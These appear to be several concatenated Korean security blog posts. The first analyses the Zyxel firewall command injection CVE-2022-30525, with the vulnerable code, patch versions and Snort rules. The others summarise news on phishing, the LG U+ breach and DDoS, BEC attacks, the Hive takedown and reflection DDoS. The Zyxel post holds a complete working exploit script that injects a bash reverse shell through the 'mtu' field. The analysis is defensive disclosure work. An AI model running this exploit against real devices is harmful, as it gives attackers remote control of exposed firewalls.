1. Zyxel

- 네트워크 통신 장비를 서비스하는 대만 다국적 기업

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-30525

- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점

영향받는 제품
① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1
② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1
④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1
※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용

[사진 2] 쇼단 검색 화면

2.1 분석

- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련

- handler.py에서 지원하는 명령은 다음과 같음

※ handler: 다양한 명령을 처리하는 Python 스크립트

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \
  "atraceroute", "iptables", "getorchstat", \
  "getInterfaceName_out", "getInterfaceInfo", \
  #"getSingleInterfaceInfo", "getAllInterfaceInfo", \
  #"getInterfaceNameAll", "getInterfaceNameMapping", \
  "nslookup", "iproget", \
  "diagnosticinfo", "networkUnitedTest", \
  #"setRemoteAssistActive", "getRemoteAssist", \
  "setRemoteZyxelSupport", "getRemoteZyxelSupport", \
  "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
  "getUSBSt","setUSBmount","setUSBactive", \
  "getDiagnosticInfoUsb", \
  "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
  "getlanguagest","setlanguage"
]

 

- setWanPortSt 명령을 통한 요청일 경우 handler.py는 lib_wan_settings.py의 setWanPortSt를 호출

def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)

    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'

        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)

            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'

            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag", "w") as fout:
            fout.write("1");

        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error": 500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w") as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error": 500, "exception": e}
   
    return reply

 

- setWanPortSt()는 사용자 요청을 검증 없이 cmdLine 변수에 저장 후 os.system(cmdLine)으로 명령을 실행

def setWanPortSt(req):

...

 if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'

...

cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] 
                + ' ' + data['auth_type'] 
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] 
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
                
...

response = os.system(cmdLine)

 

2.2 PoC

- exploit(url, host, port)의 data 변수를 사용해 임의의 명령을 삽입

from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse


parser = argparse.ArgumentParser(
    prog="CVE-2022-30525.py",
    description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")

args = parser.parse_args()

banner = (
    "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
    "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
    "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
    "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
    "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
    "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
    "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
    "biA6KSApCg=="
)


def main():

    print("\n" + base64.b64decode(banner).decode("utf-8"))

    if None in vars(args).values():
        print(f"[!] Please enter all parameters !")
        parser.print_help()
        sys.exit()

    if "http" not in args.url:
        args.url = "https://" + args.url
    args.url += "/ztp/cgi-bin/handler"
    exploit(args.url, args.host, args.port)


def exploit(url, host, port):
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
        "Content-Type": "application/json",
    }

    data = {
        "command": "setWanPortSt",
        "proto": "dhcp",
        "port": "4",
        "vlan_tagged": "1",
        "vlanid": "5",
        "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
        "data": "hi",
    }
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")

    try:
        response = requests.post(
            url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
        )
    except (KeyboardInterrupt, requests.exceptions.Timeout):
        print("[!] Bye Bye hekcer !")
        sys.exit(1)
    finally:

        try:
            print("[!] Can't exploit the target ! Code :", response.status_code)

        except:
            print("[!] Enjoy your shell !!!")


if __name__ == "__main__":
    main()

[사진 3] 공격 패킷 일부

3. 대응방안

3.1 서버측면

① 해당 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트 적용

제품명 영향받는 버전 해결 버전
USG FLEX 100(W), 200, 500, 700 ZLD V5.00 ~ ZLD V5.21 Patch 1 ZLD V5.30
USG FLEX 50(W) / USG20(W)-VPN ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
ATP series ZLD V5.10 ~ ZLD V5.21 Patch 1 ZLD V5.30
VPN series ZLD V4.60 ~ ZLD V5.21 Patch 1 ZLD V5.30

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

 

3.2 네트워크 측면

① 공개된 PoC를 확인해 탐지 정책 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";)

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"Zyxel Firewall handler mtu RCE (CVE-2022-30525)";flow:to_server, established;content:"/ztp/cgi-bin/handler";content:"setWanPortSt"; http_client_body;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-30525

https://www.exploit-db.com/exploits/50946

- http://www.zyxel.kr/bbs/board.php?bo_table=notice&wr_id=169&page=2

https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

https://www.bleepingcomputer.com/news/security/zyxel-fixes-firewall-flaws-that-could-lead-to-hacked-networks/

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-of-firewalls

https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66715

https://blog.alyac.co.kr/4715

요약 - 최근 구글 키워드 검색을 통해 피싱 페이지가 노출되어 사용자들의 클릭 유도
- 사용자들의 각별한 주의가 필요
내용 - 구글 검색 결과를 통한 피싱 페이지 노출은 저비용 고효율 해킹 공격 방식
> 공격자들이 즐겨 사용하는 공격 방식 중 하나

- 구글 검색 엔진을 통해 키워드 검색 시 가장 관련성 높은 검색 결과가 최상단에 노출
> 구글 애즈(ADs) 플랫폼을 이용하면, 검색 결과 창에서 최상단에 특정한 페이지를 노출시킬 수 있음
> 공격자는 이를 이용해 피싱 페이지를 실제 공식 페이지보다 최상단에 노출시켜 사용자들의 클릭을 유도
> 피싱 페이지의 경우 실제 페이지와 매우 유사하게 제작_사용자들이 피싱 페이지임을 인지하기 어려움

- 공격자는 피싱 페이지를 통해 메타마스크 복구 구문(Recovery Phrase) 탈취를 시도
> 피싱 페이지에 복구 구문을 입력하면 사용자 메타마스크 지갑에 있던 가상자산들은 공격자에게 넘어가게 됨
기타 - 구글 키워드 검색 시 노출되는 피싱 페이지를 통한 해킹 피해가 지속되고 있는 만큼 검색엔진 사용 시 각별한 주의가 요구

- 이와 같은 피싱 공격을 예방하기 위해서는 구글 엔진을 통한 검색 시 검색결과 창 앞에 ‘광고’ 문구를 확인
> ‘광고’ 문구가 붙어있을 경우 공식 페이지가 아닐 가능성이 높음
> 검색 결과에 보이는 URL을 확인

 

보안뉴스

 

구글 키워드 검색으로 노출되는 피싱 페이지 주의... 구글 애즈 악용한 공격

최근 구글 키워드 검색을 통해 피싱 페이지가 노출되고 있어 사용자들의 각별한 주의가 필요하다. 구글 검색 결과를 통한 피싱 페이지 노출은 저비용 고효율 해킹 공격 방식으로, 공격자들이 즐

www.boannews.com

 

요약 - LG유플러스가 4일 오후 5시 경 서울과 경기 일대에서 또 다시 인터넷 장애가 발생
- LG유플러스 해킹으로 인한 고객 개인정보 유출은 최초 알려진 18만 명에 이어 11만 명의 해지 고객의 유출 사실이 추가로 확인
내용 - 4일 오후 5시 경 LG유플러스의 인터넷망에서 장애가 발생
> LG유플러스 인터넷 이용자들이 인터넷 장애로 카드 결제나 인터넷 접속에 큰 불편
> 지난 1월 29일 새벽 2시와 오후 6시 경에 이어 엿새 만에 세 차례나 발생한 것

- LG유플러스 측
> “디도스 공격으로 추정되는 대용량 데이터가 유입되면서 오후 한때 간헐적인 장애가 발생했다”
> “디도스 공격을 차단한 후, 순차적으로 복구를 완료했고 현재는 정상적으로 서비스를 제공하고 있다”

- LG유플러스의 개인정보(성명, 생년월일, 전화번호 등) 유출 규모가 총 29만 명
> 1월 10일 게시한 공지사항에서 유출된 고객의 수는 최소 18만명
> 2월 3일 공지를 통해 이용자 11만 명에 대한 추가 개인정보 유출이 확인_2018년 LG유플러스를 이용하다 해지한 고객

- 2023.02.06 BGP 프로토콜을 악용한 DDoS 공격 확인
> BGP (Border Gateway Protocol): TCP 기반이며, 서로 다른 네트워크를 연결할 때 최적의 경로를 찾기위해 사용하는 라우팅 프로토콜로 179 포트 이용

- 2023.02.09 개인정보 유출 사고로 인해 피해를 입은 고객의 유심을 무상으로 교체 발표
> ‘스팸 알림 유료 서비스’도 전체 고객을 대상으로 (무료로) 확대 적용할 계획
> 전화번호 유출 피해자들의 범죄 노출 우려와 관련 번호를 교체 논의 계획
> 디도스 공격으로 영업에 피해를 본 소상공인에 대해 선보상하는 방안도 검토

- 2023.02.12 오후 10시 경 해커조직 ‘rxdancer751’이 “LG유플러스 고객 정보를 11만 달러에 팔겠다”고 자신들의 텔레그램 채널에 게시
> 해커조직 ‘rxdancer751’는 LG유플러스를 해킹해 3천만건의 고객정보를 탈취했다고 주장
> LG유플러스에서 탈취한 고객데이터라며 50개 파일로 나누어 59만건씩 총 3천만건 데이터 샘플이라며 캡처이미지를 공개하기도 함
기타 - LG유플러스 공식 홈페이지를 통해 ‘개인정보 유출 여부 및 정보항목 조회하기’ 서비스를 운영
> 개인의 유출 여부를 확인할 수 있도록 서비스
> 유출된 고객에게는 개인별로 문자와 이메일 등을 통해 정보 유출 사실을 안내

- BGP 프로토콜의 보안 문제점과 대응방안
① 문제점
> 1:1(peer)사이의 통신에 사용되는 메시지에 무결성, 상호인증 등을 지원하지 않음
> AS(Autonomous System)의 권한을 증명할 메커니즘이 정의 되어있지 않음
> AS에 의해 announce 되는 경로의 속성이 신뢰 할 수 있는지 확인할 수 있는 메커니즘 없음

② 대응방안
> IP Prefix 필터링
> peer간 통신의 경우, MD5(해쉬함수)를 이용하여 메시지 인증수행
> PKI를 이용해 라우팅 정보의 무결성(암호화, 인증) 보장

 

보안뉴스

 

LG유플러스, 디도스 공격으로 또 인터넷 장애... 11만명 개인정보 유출도 추가 확인

LG유플러스가 4일 오후 5시 경 서울과 경기 일대에서 또 다시 인터넷 장애가 발생해 많은 이들이 불편을 겪었다. 디도스 공격이 원인으로 추정되는데, 지난 1월 29일에 이어 엿새 만에 또 다시 대

www.boannews.com

 

정부, ‘디도스 공격 당한 LGU+’ 긴급 회의 소집... 탐지 어려운 BGP 공격에 ‘진땀’

정부, 디도스 공격 당한 LGU+ 긴급 회의 소집... 탐지 어려운 BGP 공격에 진땀 정부, 디도스 대응 체계 등 다각도 점검 RGP 공격, 적은 트래픽에도 과부하 LGU+, 기법 분석 대응5일 공격은 방어

biz.chosun.com

 

LG유플러스, “개인정보 유출 피해고객 유심 무상으로 교체”

LG유플러스가 개인정보 유출 사고로 인해 피해를 입은 고객의 유심을 무상으로 교체해 주겠다고 9일 밝혔다.

www.boannews.com

 

[단독] LG유플러스 해킹조직, 12일 “해킹한 데이터 11만 달러에 판매하겠다” 재공지 - 데

LG유플러스를 해킹해 3천만건의 고객정보를 탈취했다고 주장하는 해커조직 ‘rxdancer751’이 2월 12일 오후 10시 경 “LG유플러스 고객 정보를 11만 달러에 팔겠다”고 자신들의 텔레그램 채널에 게

www.dailysecu.com

 

1. 이메일(E-mail)

- 네트워크. 그 중에서도 주로 인터넷을 이용한 메세지 송수신 규약

- 오늘날 이메일은 가장 널리 사용되는 디지털 커뮤니케이션 방법 중 하나

[사진 1] E-mail 동작 과정

1.1 위협

- 수많은 사이버 공격이 이메일로부터 시작

- 최근 팬데믹 이후 재택근무 등 비대면 업무가 보편화되면서 이메일을 통한 공격이 증가

- 이메일을 사용해 소셜 엔지니어링, 랜섬웨어, 피싱 메일 등을 통한 사이버 위협이 증가하는 추세

 

- 아크로니스 ‘2022년 하반기 사이버 위협 및 동향 보고서’

> 피싱 및 악성 이메일 위협이 60% 증가했으며, 사건당 평균 데이터 유출 피해 비용이 500만 달러를 넘어설 것으로 예상

> 사회 공학적 공격이 지난 4개월 동안 급증하여 전체 공격의 3%를 차지

[사진 2]&nbsp;아크로니스 &lsquo;2022년 하반기 사이버 위협 및 동향 보고서&rsquo; 中 발췌

2. BEC 공격

- 기업 이메일 침해 (Business Email Compromise, BEC)

- 피해자가 평소 신뢰하고 있던 이메일로부터 들어오는 사기 공격 즉, 정당한 송신자로 위장하여 수신자를 속이는 방법

> 기업들을 위해 개발된 마케팅 서비스와 도구, 구글의 무료 번역 서비스인 구글 트랜슬레이트(Google Translate)를 활용

> 이메일 마케팅 도구나 번역 도구 모두 점점 정확해지고 사용 방법도 간단해지고 있으며 가격도 저렴해지는 추세

 

- 멀웨어를 활용하는것 보다 쉬운 공격 형태이며, 추적의 어려움 및 투자 시간 대비 높은 수익을 얻어 공격자들에게 인기

- 정상적인 내부 업무 프로세스와 절차를 악용하기에 피해 사실을 즉시 인지하기 어려움

- 공격자는 기업 인프라 외부에 위치

 

2.1 피해

- 2022년 발생한 사이버 공격 사례 중 랜섬웨어 뒤를 이어 가장 많이 발생한 공격

- 2016 ~ 2019 전 세계에서 260억 달러의 피해가 발생하였으며, 2022년 한 해 동안 누적된 피해액은 430억 달러로 집계

 

- 파이어브릭 오스트리치(Firebrick Ostrich)

> 2021년 4월부터 지금까지 151개 기업과 기관들을 사칭하고, 212개 악성 도메인들을 생성

> 자신들이 사칭하는 회사가, 공격 표적이 된 회사와 서로 사업적 관계를 맺고 있다는 것만 알면 공격을 시작

> 조사 후 사칭할 회사와 유사한 웹 도메인 생성하고, 가상의 회사를 생성해 메일을 전송

> 공격 표적에 계좌번호를 전송해 입금을 유도하는 메일 사용

 

2.2 대응

- 정당한 송신자로 위장해 수신자를 속이는 수법이므로 임직원의 보안인식 제고가 필요

> ‘늘 합리적으로 의심하라’는 교육부터 시작

> 사내 공식 프로세스를 좀 더 탄탄하게 형성 > 한두 사람의 담당자가 임의로 업무를 완료할 수 없도록

> 악성 메일 모의훈련 진행

 

- 행동 패턴을 기반으로 한 머신러닝 및 인공지능 도구를 투입

> 메일, 메일과 관련된 트래픽, 그 메일로부터 나온 첨부파일이나 링크가 비정상적인 행동 패턴을 나타내는지 확인

 

3. EAC 공격

- 이메일 계정 침해 공격 (Email Account Compromise, EAC)

- 다양한 방법을 동원해 실제 메일 계정을 침해(탈취)한 후 공격에 악용

 

3.1 피해

- 실제 이메일 계정을 탈취하므로 추가적인 공격을 수행할 수 있음

> 계정 침해가 이뤄진 다음에는 DMARC 등 이메일 보안 매커니즘이 작동하지 않음

> 메일함에 저장된 민감한 정보를 찾아 빼돌리기

> 공격자가 제어하는 또 다른 계정으로 중요한 메일을 송수신할 수 있도록 설정 변경

> 연락처에 저장된 곳으로 스팸 메일 전송

 

- 공격자가 실제로 기업의 인프라 내에 들어와 있음

> BEC 공격보다 더욱 치명적인 결과를 초래할 위험이 있음

 

3.2 대응

- 실제 공격을 통해 이메일 계정을 탈취하므로 계정에대한 보호가 필요

> 계정 장악을 위한 온갖 공격 시나리오로부터 실질적인 방어 대책이 마련

> 100% 방어률을 기록하지 못한다는 것을 인지

> 외부 메일 모니터링과 기업 방화벽 내에서부터 발생되는 이메일 메시지들에 대한 악성 여부 점검도 실시

 

4. 참고

- https://www.boannews.com/media/view.asp?idx=93197

- https://www.boannews.com/media/view.asp?idx=113972

- http://www.boannews.com/media/view.asp?idx=69256&page=2&mkind=1&kind=1

- https://www.itbiznews.com/news/articleView.html?idxno=63857 

https://www.cloudflare.com/ko-kr/learning/email-security/what-is-email/

- https://www.dailysecu.com/news/articleView.html?idxno=142574 

https://www.acronis.com/en-us/lp/cyberthreats-report-2022-end-year/#registration

https://mantos.kr/8

'취약점 > Social Engineering' 카테고리의 다른 글

Browser in the Browser (BitB)  (0) 2023.04.20
랜섬웨어 그룹 사칭 피싱메일  (0) 2023.04.03
심 스와핑 (SIM Swapping)  (0) 2023.02.21
사회공학기법 #2 유형 및 대응  (1) 2022.08.25
사회공학기법 #1 개요  (0) 2022.08.24
요약 - 전 세계 80여 개국의 병원, 학교, 금융기관 등을 대상으로 랜섬웨어 공격을 벌여 막대한 돈을 갈취한 해킹 네트워크 '하이브'를 폐쇄하는 데 성공
내용 - 하이브(Hive)
> 다크웹에서 활동하는 ‘서비스형 랜섬웨어(RaaS)’ 운영 단체 중 가장 유명
> 이중 협박 전술을 적극 활용하며, 파트너들과 8:2로 돈을 나눔
> 각종 교육, 의료 시설을 포함한 사회 주요 인프라를 공격

- 피해사례
① 미국 대형 의료기관 ‘메모리얼 헬스 시스템(Memorial Health System)’을 공격해 시스템을 마비
> 예약된 수술이 모두 취소됐고, 환자들은 다른 병원으로 후송
> 아날로그 방식으로 환자를 진료하고, 새로운 환자를 받을 수 없음

② 미국 비영리 의료 단체 LCMHS
> 공격 받아 약 27만 명에 이르는 환자 정보가 유출

③ 미주리의 메디컬 센터도 해킹

- 
하이브가 운영하던 다크웹 웹사이트인 ‘더 하이브 리크(The Hive Leak)’를 폐쇄
> 하이브 갱단이 피해자들의 정보를 유출시키고, 다음 공격을 예고하는 데 이용하던 사이트
> 80개가 넘는 국가에서 1500명이 넘는 피해자들로부터 정보를 받아 수개월 동안 하이브를 추적
> FBI, 유로폴, 독일 경찰, 네덜란드 경찰이 공조해 서버들을 압수, 복호화 키 확보  및 1억 3천만 달러 피해 예방

- 하이브 랜섬웨어를 영구적으로 사라지게 될지, 또는 랜섬웨어 산업 전체가 주춤할지 미지수
> 콘티(Conti)와 레빌(REvil) 랜섬웨어 단체도 국제 공조에 당해 인프라가 사라지고 일부 멤버들이 체포
> 남은 이들끼리 새로운 단체를 시작하거나 다른 범죄 조직에 합류하면서 활동
기타 - 랜섬웨어의 전성기가 점점 끝나간다는 신호들이 나오고있음
> 낮아지는 수입과 암호화폐 가치
> 랜섬웨어를 노리는 사법 기관들의 활동도 거세지는 중
> 피해자들도 예전만큼 호락호락 당해주지 않음
> 백업 기술과 활용 능력도 발전
> 랜섬웨어 공격자들에게 돈을 주면 안 된다는 분위기도 형성

- 랜섬웨어 공격자들이 점점 BEC 공격으로 옮겨갈 것
> BEC 공격은 랜섬웨어 이상의 수익을 거둘 수 있는 공격
> 암호화폐에 의존하지 않아도 된다는 장점
> BEC 공격도 점점 고급 멀웨어를 동원하게 되면서 공격 효율이 높아지는 중

 

보안뉴스

 

국제 공조로 차단된 하이브 랜섬웨어 갱단의 공격 인프라

국제 사법기관들이 큰 성과를 올렸다고 보안 외신 핵리드가 보도했다. 하이브가 운영하던 다크웹 웹사이트인 ‘더 하이브 리크(The Hive Leak)’를 폐쇄하는 데 성공했다고 한다. 하이브 갱단이 피

www.boannews.com

 

하이브 랜섬웨어 일망타진한 국제 수사기관들, 피해자들도 구제

국제 사법 기관들이 연합하여 악명 높은 하이브(Hive) 랜섬웨어 갱단을 무력화시켰다. 이 과정에서 1억 3천만 달러에 달하는 피해가 발생하는 걸 막기도 했다. 다만 이러한 사건을 통해 하이브 랜

www.boannews.com

 

“해커를 해킹했다”…미 법무부 '랜섬웨어 네트워크 하이브' 폐쇄

메릭 갈런드 법무부 장관은 이날 워싱턴DC 법무부에서 기자회견을 통해 "어젯밤 법무부는 미국을 비롯해 전 세계 국가에서 수억 달러를 갈취하거나 갈취하려고 시도했던 국제적인 랜섬웨어 네

news.sbs.co.kr

 

1. 대역폭 공격_DRDoS

DNS Reflection Attack
요약 - 공격자는 다량의 DNS 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - 피해자의 IP로 스푸핑하여 네임서버에 비정상 DNS 질의를 요청하고, 요청을 받은 네임서버는 DNS 응답 값을 위장한 IP로 전송하여 공격 대상의 회선 대역폭을 고갈시키는 공격 (DNS Port: 53_UDP/TCP)

- 공격 트래픽 양을 높이기 위하여 단순 DNS Query가 아닌 Zone의 모든 정보를 요청하는 “ANY” 또는 "TXT" 레코드 등를 요청하는 특징

 

NTP Reflection Attack
요약 - NTP 서버에게 비정상적인 요청패킷을 보내서 되돌아오는 응답 값을 공격 payload로 활용하는 공격 유형
설명 - 시간동기화를 위해 사용되는 NTP(Network Time Protocol) 서버를 반사서버로 악용한 공격 (NTP Port: 123_UDP)

- 피해자의 IP로 스푸핑 한 다음 확보한 서버들을 대상으로 가능한 많은 응답패킷을 만들어 내기 위해 monlist를 요청하는 명령을 전송

- monlist: 구버전의 NTP서버에서 사용하는 명령어로, 최근 접속한 최대 600개의 접속 호스트에 대한 정보를 응답 받을 수 있는 명령어 (v2.4.7 이상에서는 해당 명령어가 삭제됨)

 

CLDAP Reflection Attack
요약 - CLDAP 서버에게 비정상적인 Query를 보낸 후 되돌아오는 응답 값을 공격 패킷으로 활용하는 공격 유형
설명 - CLDAP(Connection-less Lightweight Directory Access Protocol)이란 네트워크상에서 디렉토리를 연결/검색/수정하기 위해 사용되는 프로토콜 (CLDAP Port: 389_UDP)

- CLDAP 서버를 반사서버로 악용한 공격

- CLDAP 서버가 갖고 있는 모든 Entry 및 Attribute 값을 요청하며, 서버가 갖고 있는 Node 정보가 많을수록 응답 패킷의 규모가 커짐 (증폭률 56~70배)

 

SSDP Reflection Attack
요약 - SSDP 기능을 악용하여 가능한 한 많은 데이터를요청하는 Search 명령을 보내 정상적인 서비스가 불가능하도록 하는 공격 
설명 - IoT 기기들에 널리 사용되는 SSDP(Simple Service Discovery Protocol)는 UPnP 장치를 탐색할 때 주로 사용되는 프로토콜로 네트워크상의 다른 장치를 찾거나 알리는 역할을 수행 (SSDP Port: 1900_UDP)

- 더 많은 응답 패킷을 만들어 내기 위해 ssdp:all 혹은 ssdp:rootdevice 값이 포함된 Search 명령을 요청

- IoT 기기들은 요청 받은 Search 패킷의 크기와 비교하여 훨씬 더 많은 크기의 응답 패킷을 피해자의 시스템으로 전달 (증폭률 최대 30배)

 

Memcached Reflection Attack
요약 - Memcached 서버의 기능을 악용하여 저장된 캐싱 데이터를 가능한 한 많이 요청하는 request 명령을 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - Memcached 서비스는 내부에서 DB부하감소 및 응답속도 증가를 위해 분산된 메모리에 데이터를 캐싱하는 서비스로 내부에서만 접근하여 사용하도록 설계되었으며, “Key”값으로 “Data”를 매핑하는 구조 (Memcached Port: 11211_UDP)

- Memcached 서버들에게 사전에 확보한 Key값에 대한 Data를 요청 (증폭률 최대 51,000배)

 

WS-Discovery Reflection Attack
요약 - 윈도우 기반 기기들에게 요청을 할 때 고의적으로 XML오류 응답 메시지를 반복적으로 유발시키는 명령을 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - WS-Discovery 서비스는 윈도우 기반 기계들이 네트워크 프린터 등을 자동으로 찾아서 연결 설정을 완료하는데 사용되는 서비스 (WS-Discovery Port: 3702_UDP)

- 원래는 내부 네트워크망에서만 사용되지만 인터넷망에 노출될 경우에는 디도스 공격으로 악용

- WSD 사용 기기들에게 XML오류 응답 메시지를 반복적으로 유발시키는 명령을 대량 요청 (증폭률 최대 500배)

 

ARMS Reflection Attack
요약 - 취약한 Apple Mac 컴퓨터를 대상으로 원격접속 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - ARMS는 Apple社 기기(mac OS)들의 원격 제어 기능을 활성화 할 때 사용되는 데스크탑 원격 제어 프로토콜로 (ARMS Port: 3283_UDP/TCP)

- 확보된 기기들에게 대량의 request 패킷 요청 (증폭률 최대 35.5배)

 

CoAP Reflection Attack
요약 - 외부 노출된 IoT 기기 및 모바일 장치들을 대상으로 변조된 GET Request를 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - CoAP(Constrained Application Protocol)이란 IoT 기기들을 위해 사용되는 프로토콜의 일종으로서, 주로 저전력 컴퓨터들을 위해 만들어진 간단한 프로토콜 (CoAP Port: 5683_UDP)

- 확보한 기기에 CoAP GET Request를 전달 (증폭률 최대 50배)

.

Jenkins Reflection Attack
요약 - 자동 검색 프로토콜이 활성화된 상태에서 검색 요청 Packet을 받으면 요청 값에 관계없이 Jenkins 메타 데이터의 XML 결과값을 응답하는 취약점을 악용한 공격
설명 - Jenkins란 소프트웨어 개발 시 지속적으로 통합 서비스를 제공해주는 툴

